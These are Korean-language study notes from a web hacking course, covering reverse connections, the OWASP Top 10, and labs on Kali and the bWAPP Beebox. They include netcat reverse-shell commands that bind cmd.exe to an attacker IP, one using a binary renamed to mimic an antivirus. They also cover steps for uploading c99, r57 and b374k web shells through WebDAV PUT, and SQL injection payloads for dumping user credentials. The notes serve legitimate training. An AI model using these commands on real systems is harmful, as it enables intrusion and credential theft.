* 웹해킹 보안 4일차 정리)
공격자가 공격대상과 연결하는 방법
1. Backdoor
- 공격자가 공격대상에 접근하는 방식
- 미리 공격대상(Victim)에 Backdoor를 설치학거나 취약한 Application을 사용하는 경우
- 방화벽에 의해 대부분 차단됨
2. Reverse Connection
- 공격대상이 공격자쪽으로 접근하는 방식
- 공격대상에 RAT(Remote Access Trojan)을 침투시켜서 실행될 경우, 공격자가 미리 준비한 컴퓨터로 연결 시도 (트로이목마 방식)
- 방화벽을 우회할 수 있음
- 이메일을 보내는 방법
사례1) 항공권, 이력서, 초대장, 논문참고 등 보내서 마우스클릭을 유도
사례2) 이력서.hwp .exe // 직접클릭하는 것은 매우 위험
실습준비) VMware를 켜고 Ubuntu _DVWA를 실행합니다.
- 우분투가 짐기지 않도록 설정 / 오른족 위의 전원버튼 > 설정 > 빈화면 5분 => 빈화면 안함 // 우분트 자꾸잠김
설정 > 개인정보 > 화면잠금 >자동화면잠금 끄기
참고) 실무에선 환면을 잠그는것이 보안에 유리함(
실습준비) VMware를 새로 실행하고 Windows Server 2003 실행( 비밀번호 hp12345)
실습개요) Reverse Connection 방식으로 연결 , Window2003의 있는 RAT(netcat)을 이용해서 연결, 웹브라우저에서 실행하도록 설정
- Attacker : Server : Ubuntu ( -l : listening(준비), -p : port => 8000번 포트를 열고 준비(서버)
$ nc -l -p 8000
- Victim : Client : Windows2003의 WebShell에서 명령어 입력
http://192.168.50.129/uploadfile/cmdjsp.jsp 진입후
간단한 웹쉘 창에서 whoami, ipconfig , dir , netstat 등 윈도우 커맨드 명령어가 실행되는 것을 볼 수 있음
c:\wine.exe 192.168.50.128 8000 -e cmd.exe
위와 같이 입력하면, 윈도우 쉘이 Ubuntu에 뜨는것을 볼 수 있음
c:\wine.exe 192.168.5.128 8000 -e cmd.exe
cd \
cd docu*
cd adm*
cd my * // 내 문서로 들어오게됨
dir // 파일 목록을 볼 수 있음
ubuntu
$ nc -l -p 8000
- 웹쉘창에서
c:\V3.EXE 192.168.5.128 8000 -e cmd.exe
* OWASP의 Top 10 취약점을 알아야하는 이유
- 가장 최신의 웹 보안 트렌드를 알 수 있음
- 전세계 보안 전문가들을 대상으로 설문 => 취합해서 정리해서 순위를 정함
- 상위 10개의 취약점이 전체의 약 95% 해당
참고)
- 사람이 10진수를 사용하는 이유 : 손가락이 10개여서
- 컴퓨터가 2진수를 사용하는 이유 : 있다와 없다로 구분하는 것이 가장 명확하기 때문에
예시 1)
- 암행어사 : 현감들이 수사, 체포,심판, 임시행정 => 부패
예시 2)
권한을 한 기관/ 사람이 너무 많이 가지면 부정행위/불법행위에 연루될 가능성이 높아짐
=> 최소한의 권한을 부여해야함(Least Privilege), 필요한 만큼 알려줌(Need to Know)
* Crawler
- 검색엔진이 100개 넘음
- 전세계 웹사이트를 방문해서 Crawling을 하고 있음
- 정상적인 검색엔진 : Google , Naver , Yahoo, Baidu 등등
- 비정상적인 검색엔진 : 해커틀이 운영하는 Crawler가 있음 => 정보수집
* Crawler 방문 금이 요청
- 웹서버 루트 디렉토리에 robots.txt 파일을 생성하고
User-Agent : * // 모든 검색엔진들아
Disallow :/ // 모든 디렉토리를 허용하지 않는다.
- 일부를 허용하려면
userr-Agent : googlebot // 구글만 해당됨
Allow:/ // 모든 디렉토리 허용
해킹을 당했지만 정보가 유출되었는지 확인할 수 없다.
- 속뜻 : 로그가 지워져서 확인할 수 없다. 그러나 유출되었을 것이다. 어쩔수 없다.
A01 : Broken Access Control
- Escalation : 권한 상승하는 기법
* 대응방법
- 명백한 허용을 제외하고 모두 거부(Deny All Philoso : 모든것을 거부하는 원칙)
- 디렉토리 리스팅을 차단
- 관리자가 일부러 디렉토리 리스팅을 하는 경우 상관이 없음
- 관리자가 모르는 상태에서 디렉토리가 리스팅된다면 모든 파일이 인터넷에 노출됨 => 이런 경우 문제
실습준비) 칼리리눅스 초기셋팅
* VMWARE에서 칼리리눅스 불러오기
- 로그인 : KALI / KALI
- 화면잠김방지설정 : 피닉스아이콘 > SETTINGS > POWER MANAGER > SECURITY 탭에서
=> lOCK SCREEN체크 해제, Automatically Lock the session을 Never로 변경
* 시간설정 (기존 : EST : East Standard Time, 뉴욕)
- 시계에 오른쪽 마우스 클릭 < Properties클릭 < Time Zone에 Aisa/Seoul 입력하고 엔터
=> 로그등을 확인하기 위해서는 시간을 정확히 맞춰야함
* Kali Linux
- 취약점을 제보하는 exploit-db.com을 운영하는 Offensive Security에서 무료로 배포
- 취약점에 대한 테스트를 위해서 각종 해킹툴 및 취약점 분석도구를 설치해서 배포
- OS는 Debian Linux에 다양한 해킹툴 및 취약점 분석도구를 약 200개 설치되어 있음(추가로 400개 설치 가능)
- 원래 이름이 Backtrack이었는데 모음반사에 이름에 대한 권리를 주장하여 이름을 Kali Linux로 변경
- Kali는 인도의 전쟁여신 , Siba신의 부인
* Bee box
- Bug : 소프트웨어 코딩 오류
- Buggy Web Application(모의웹해킹연습장) => Linux+Apache2+MySQL+PHP(LAMP)에 bWAPP을 동작시키면 웹해킹 연습장이 됨
- VMware용으로 만든 가상서버 이미지(LAMP+bWAPP)를 Beebox라고함
- OWASP Top10을 기준으로 만듬
- Player > File > open해서 압축 푼폴더에 가서 bee-box.vmx 파일을 선택하고 열기
- Edit Virtual Machine Settings 클릭
- Network Adapter 항목에서 Bridged => Nat로 변경하고 ok
- Play Virtual Machine 클릭(부팅)
- Exit Full Screen ~~써야댐
* Beebox 키보드로 바꾸기
system > Prefernce > keyboard > layout 탭 클릭
ADD클릭 > Layout에서 Korea,Republic of를 선택해야합니다. (노트북은
Korea, Republic of를 Default로 변경하고 Belgium은 선택한 후 Remove클릭, close
로그아웃 헀다고 다시 로그인 : bee / bug
터미널 켜고 ifconfig : 192.168.50.131
* 웹브라우저에 bebox IP주소를 넣고 접속, bWAPP 클릭, 로그인 : bee/bug
* Beebox 실습
A5에서
/insecure WebDAV Configuration/
* WebDAV 클릭
* WebDAV란 ? 웹을 개발할 떄 여러 개발자들이 파일을 업로드 하고 수정 및 삭제 등을 위해 열어놓은 디렉토리
* WebDAV디렉토리에 웹쉘을 올리려면?
hint) Proxy를 이용해보기
- b374를 notepad++ 로 열어서 전체복사
- Get을 PUT으로 변경하고
- 파일명을 지정 webshell.php
- PUT에 b374k의 소스코드를 붙여넣기
* c99shell.php의 소스코드를 수정
바꾸기를 눌러서 ereg()함수가 preg_match 변경
- 53번라인 앞에 주석처리를 위해서 //를 넣음
* Beebox에는 c99shell.php
* Beebox에 r57shell.php 올리기(칼리리눅스) => A01 2021
cd Desktop => ls > sudo ls => sudo cadaver 192.168.50.131 => put r57shell.php(file업로드)
* WebDav 디렉토리에 파일 업로드가 되는 원인
=> PUT,COPY,DELETE 등등이 허용되어 있기 떄문(파일을 수정,삭제,업로드 등을 모두 하기 위해서 다양한 Method가 허용)
* A02. 암호화의 실패
* 암호화를 잘 못하는 이유
- 암호화 및 복호화하는데 컴퓨터 연산량이 많아짐 => 서버 부하
- 오래된 웹사이트, 옛날에 만든 페이지가 그대로 남아있는 경우
- 처음에는 안전한 암호화였으나, 시간이 지남에 따라 컴퓨터의 성능이 엄청나게 발전해서 쉽게 크래킹 될 수 있는 상태
* Moore의 법칙 : 18개월마다 2배로 성능이 향상된다는 버칙
* 사례)
코레일 암호화해제(2015년)
=> Wireshark 패킷 분석
* 안전하지 않은 암호화
- 대칭키 : DES, 3DES, RC4 등등 ,ECB방식
- 해시캄수 : MD5, SHA1
=> 위의 암호화를 사용하면 , ISMS_P인증심사에서 결함으로 판정
참고 )cf. SEED : 우리나라에서 만든 대칭키, 아직까지는 안전한 것으로 판단 => 은행 중앙망에서 사용
* salt
- 해시함수와 원문이 같으면 해시값도 같아지기 때문에, salt를 원문에 섞어서 해시값을 계산, 해시값이 다 달라지게됨
실습) 해시함수 사용하기(칼리리눅스)
사용방법 $ md5sum [파일명].jpg
$ md5sum pig.jpg => pig.jpg는 원문
d99541ed92d886e8ce7ca930239544de => 해시값
특징) 원문이 다르면, 다른 해시값이 나옴
=> 해시값이 다르다는 것은 원문이 달라졌음을 의미함(무결성 훼손 => 변조되었음)
$ cp pig.jpg /home/kali
$ sudo vi pig.jpg //파일 살작 수정
i를 누르면 편집모드 변경(insert)
ESC를 누르면 편집모드에서 명령어모드로 변경
:wq // wirte and quit(저장후 변경) / 만일 저장하지 않고 나오려면 :q!
$ md5sum pig.jpg /home/kali/pig.jpg // enrodml vkdlfdmf qlrygoqha
=> 해시갑싱 서로 다름(원문이 달라졌음을 알 수 있음)
* 취약한 해시를 사용했을떄 문제점(window 2003 서버)
- windows2003 내문서에서 보면 , icp504en.exe 파일을 실행해서 설치합니다.
- import > import from local computer를 선택하고 플레이버튼 클릭
* Beebox실습
A1. 인젝션
/SQL Injection (Get/Search)
1. 모든 영화가 나오게 하려면? // 정답 : ' or 1=1 # ( 검색하는 SELECT문 예상 : select * from ?? where movie='% %';
* SQL 공격을 위한 3가지 방법
A) 주석
Oracle, MS-SQL은 주석으로 --(하이폰 두개)를 사용
MySQL, MariaDB는 주석으로 #을 사용
B) 논리적 참
C) 중첩된 SQL문 사용 SELECT ~~;UPDATE~~;
UNION SELECT~~
2. 공격자가 원하는 것은? 모든 사용자의 ID와 PW입니다.
ID Email pw Secret
blackpink / blackpink@yg.co.kr /asd123 / sinsung
GD / GD@naver.com /asd123 / GD sinsung
bts / bts@hive.com / asd123 / bts sinsung
* MySQL에서 데이터베이스에 대한 정보는 information_schema라고 하는 데이터베이스에 저장되어있음
=> 테이블이름은 information_schema.tables table_name의 테이블에 table_name이라는 컬럼에 저장되어 있음
=> 컬럼 이름은 information_schema.columns라는 테이블에 column_name이라는 컬럼에 저장되어 있음
=> DB이름은 table_schema라는 컬럼에 저장되어 있음
=> 내부함수 : database() : 데이터베이스 이름을 확인하는 함수
version() : 버전을 확인하는 함수
@@version : 버전을 확인하는 함수
user() : 사용자를 확인하는 함수